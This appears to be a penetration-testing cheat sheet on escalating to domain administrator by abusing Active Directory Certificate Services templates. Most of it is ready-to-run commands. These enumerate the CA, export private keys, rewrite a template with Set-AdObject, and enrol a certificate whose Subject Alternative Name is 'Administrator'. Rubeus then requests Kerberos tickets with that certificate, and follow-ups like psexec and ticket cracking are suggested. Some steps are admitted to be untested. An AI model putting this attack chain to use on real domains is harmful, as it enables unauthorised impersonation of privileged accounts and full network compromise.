ADCS PrivEsc: Certificate Templates
Privilege escalation with Active Directory Certificate Services
Enumeration
Enumerating the ADCS from localhost
certutil -dump # dump general information
certutil -CA # infromation about the configured certificate authority
certutil -catemplates # list accessible templates
certutil -Template [<TemplateName>] # list rights on the templates or specifc template when specifiedEnumerating the ADCS from LDAP
It is also possible to enumerate the Active Directory Certificate Services (ADCS) from Linux or any platform that supports LDAP connectivity
ldapsearch -x -H 'ldap://10.10.10.10' -b "CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=local" -D 'DOAMIN\user' -w 'password!' # All information about the Public key services
ldapsearch -x -H 'ldap://10.10.10.10' -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=local" -D 'DOAMIN\user' -w 'password!' # Information about the certificate templates
ldapsearch -x -H 'ldap://10.10.10.10' -b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=local" -D 'DOAMIN\user' -w 'password!' # information about the Certification Authorities
ldapsearch -x -H 'ldap://10.10.10.10' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=local" -D 'DOAMIN\user' -w 'password!' # information about the Enrollment ServicesEnumerating certificate templates
certutil -Template
certutil -Template <Template-Name>When rights like Allow Full Control or Allow Write are granted for a user under your control, this will enable you to edit the specific certificate template. If the certificate template has Allow Enroll for your user(group) or you already obtain a certificate for another User Principal Name (UPN) it might be possible to escalate privileges or perform lateral movement.
Allow Full Control also grants Allow Enroll rights
Enumerating existing certificates
Listing
get-childitem cert:\ # list storages
get-childitem cert:\localmachine\my
get-childitem cert:\currentuser\myExtracting a certificate
$cert = Get-ChildItem -Path cert:\CurrentUser\My\<Thumbprint>
Export-Certificate -Cert $cert -FilePath c:\test.cerExtracting the private key from a certificate
$pw = ConvertTo-SecureString "password1!" -AsPlainText -Force
$certificate = Get-ChildItem -Path Cert:\CurrentUser\My\<Thumbprint>
Export-PfxCertificate -Cert $certificate -FilePath key.pfx -Password $pwThe extracted private key also can be used with Rubeus (see here)
Enumerating the CA servers local policy
certutil -getreg policy\editflagsIf you find that EDITF_ATTRIBUTESUBJECTALTNAME2 is set as a flag this allows anyone to set a User Principal Name (UPN) for any certificate template in the active directory (you still might need to modify the template, if you are not able to request/enroll one).
Exploitation / Modification
Abusing write access on a certificate template
Modifying the certificate template and setting the necessary properties
$Properties = @{}
$Properties.Add('mspki-certificate-name-flag',1)
$Properties.Add('pkiextendedkeyusage',@('1.3.6.1.4.1.311.20.2.2','1.3.6.1.5.5.7.3.2'))
$Properties.Add('msPKI-Certificate-Application-Policy',@('1.3.6.1.4.1.311.20.2.2','1.3.6.1.5.5.7.3.2'))
$Properties.Add('flags',0)
$Properties.Add('mspki-enrollment-flag',0)
$Properties.Add('mspki-private-key-flag',256) # 0x100
$Properties.'mspki-private-key-flag' += 16 # 0x10
$Properties.Add('pkidefaultkeyspec',1)
$Properties.Add('pKIDefaultCSPs','1,Microsoft RSA SChannel Cryptographic Provider')
Import-Module ActiveDirectory
Set-AdObject "CN=TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace $PropertiesInformation about the Properties
mspki-certificate-name-flag-> specifies the subject name flags1-> instructs the client to supply subject information in the certificate request
pkiextendedkeyusage-> list of OIDs that represent the extended key usages1.3.6.1.4.1.311.20.2.2-> Microsoft Smart Card Logon1.3.6.1.5.5.7.3.2-> Client Authentication
msPKI-Certificate-Application-Policy-> application policy OID added to the certificate application policy extensionhas to be the same as
pkiextendedkeyusage
flags = 0-> general enrollment flags0-> no flags (clear flags)
mspki-enrollment-flag-> enrollment flags0-> no flags (clear flags)
mspki-private-key-flag256-> instructs client to process themsPKI-RA-Application-Policiesattribute+16-> instructs client to allow other applications to copy the private key to a.pfxfile at a later time
pKIDefaultKeySpec1-> Keys used to encrypt/decrypt session keys
pKIDefaultCSPs-> cryptographic service providers (CSP) used to create private and public key1,Microsoft RSA SChannel Cryptographic Providerinteger,-> priority for the CSPstring-> CSP to use
Properties like
pkiextendedkeyusageandmsPKI-Certificate-Application-Policyshould be set as needed depending on the services configured on the CA. However either Client Authentication, Microsoft Smartcard Logon, Key Purpose Client Auth or Any Purpose have to be set, in order to escalate privileges. The corresponding OIDs are publicly available.
Privilege escalation
Using a certificate to authenticate as a privileged principal with PKINIT. There are two ways to achieve this.
The certificate
is configured on the target object as an alternative security identity (Whatever that means; Not covered here)
includes the User Principal Name (UPN) of the target principal in the Subject Alternative Name extension
Using the Subject Alternative Name
when escalating privileges with the UPN, we need (to enroll) a certificate with the subject alternative nameset to our target.
Setting the subject alternative name and enrolling a certificate
Powershell
# Create a com object and set the subject alternative name
$SAN = New-Object -ComObject X509Enrollment.CX509ExtensionAlternativeNames
$IANs = New-Object -ComObject X509Enrollment.CAlternativeNames
$IAN = New-Object -ComObject X509Enrollment.CAlternativeName
$IAN.InitializeFromString(0xB,"Administrator") # UPN to use e.g. user@domain.local or user
$IANs.Add($IAN)
$SAN.InitializeEncode($IANs)
# Create a request object to request the certificate based on a template
$Request = New-Object -ComObject X509Enrollment.CX509Enrollment
$Request.InitializeFromTemplateName(0x1,"TemplateName") # Template to use
$Request.Request.X509Extensions.Add($SAN)
$Request.CertificateFriendlyName = "TemplateName" # Template to use
# Enroll the certificate
$Request.Enroll()this already should be configured to abuse
EDITF_ATTRIBUTESUBJECTALTNAME2you need to modify$IAN.InitializeFromString(0xB,"Administrator")(Not tested)
CertReq
request.inf (template)
[NewRequest]
Subject = "CN=ComputerName,CN=Computers,DC=domain,DC=local"
Exportable = TRUE
KeyLength = 2048
KeySpec = 1
KeyUsage = 0x60
MachineKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
[RequestAttributes]
CertificateTemplate=Web
SAN="upn=Administrator" ;or upn=Administrator@domain.local
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=Administrator" ;or upn=Administrator@domain.local
[EnhancedKeyUsageExtension]
OID = 1.3.6.1.4.1.311.20.2.2
OID = 1.3.6.1.5.5.7.3.2to abuse
EDITF_ATTRIBUTESUBJECTALTNAME2you need to modifySAN="upn=Administrator"
commands
certreq -q -new request.inf request.pem
certreq -q -submit request.pem cert.pem
certreq -q -accept cert.pemcreate a
-newcertificate request from given policy file-Submitthe generatedrequest.pemto the certificate authority-Acceptand install the response of the certificate authority
Using an existing certificate
If you already have a certificate for another user you might be able to obtain a TGT for this user. However you need to manually check if the certificate fulfills the requirements from the exploitation step.
The subject alternative name can be extracted for a certificate from the current users store
$cert = get-childitem cert:\currentuser\my\<Thumbprint>
$sanExt = $cert.Extensions | Where-Object{$_.Oid.FriendlyName -eq "subject alternative name"}
$sanExt.Format(1)sample output:
Other name:
Principal Name=Administratoror using openssl
openssl asn1parse -in test.cer -inform der # search for the OCTET STRING offset after :X509v3 Subject Alternative Name
openssl asn1parse -in test.cer -inform der -strparse <offset>sample output:
0:d=0 hl=2 l= 31 cons: SEQUENCE
2:d=1 hl=2 l= 29 cons: cont [ 0 ]
4:d=2 hl=2 l= 10 prim: OBJECT :Microsoft User Principal Name
16:d=2 hl=2 l= 15 cons: cont [ 0 ]
18:d=3 hl=2 l= 13 prim: UTF8STRING :Administratorwhen parsing certificates (.cer) with openssl you might need to inform openssl about the certificate format e.g. (DER | PEM)
Using Rubeues to escalate privileges with the certificate
Obtain a Ticket Granting Ticket (TGT) for the User Principal Name (UPN)
Rubeus.exe asktgt /user:Administrator /certificate:<Thumbprint> /outfile:admin_tgt.kirbiObtain a Ticket Granting Service (TGS) for the obtained Ticket Granting Ticket (TGT)
Rubeus.exe asktgs /ticket:admin_tgt.kirbi /service:SPN/some.domail.local /dc:dc.domain.local /outfile:admin_tgs.kirbiFurther things to do (get creative)
*exec with the obtained TGS (e.g.
psexec)crack the TGS (because the NT hash of the user is included in this ticket)
convert the kirbi ticket to a ccache ticket (e.g. when working on Linux)
use the service you obtained it for :---)
References
Last updated
Was this helpful?
